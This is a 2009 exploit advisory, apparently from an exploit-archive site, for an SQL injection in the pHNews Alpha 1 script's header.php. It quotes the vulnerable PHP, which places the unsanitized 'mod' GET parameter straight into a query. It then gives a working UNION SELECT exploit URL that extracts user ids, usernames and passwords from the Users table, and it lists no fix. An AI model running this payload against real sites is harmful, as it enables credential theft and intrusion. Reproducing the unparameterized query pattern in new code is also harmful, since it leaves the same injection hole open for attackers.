pHNews Alpha 1 (header.php mod) SQL Injection Vulnerability

2009-02-17 22:06:26

#########################################################################################
[0x01] Informations:

Name : pHNews Alpha 1
Download : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability : Sql Injection
Author : x0r
Contact : [email protected]
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/header.php

[Code]
$mod = $_GET["mod"];
// If no mod is selected select the default (news)
if ($mod == "") { $mod = "news"; }
if ($mod != "nomod") {

// Subit the query... god soooo mmmuuuccchhh coooodeee
$query = "SELECT * FROM Modules WHERE name = '{$mod}'";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
[/code]


#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/header.php?mod=' union select
0,0,0,concat(id,char(45),UName,char(45),Paswd),0,0 from Users--
########################################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.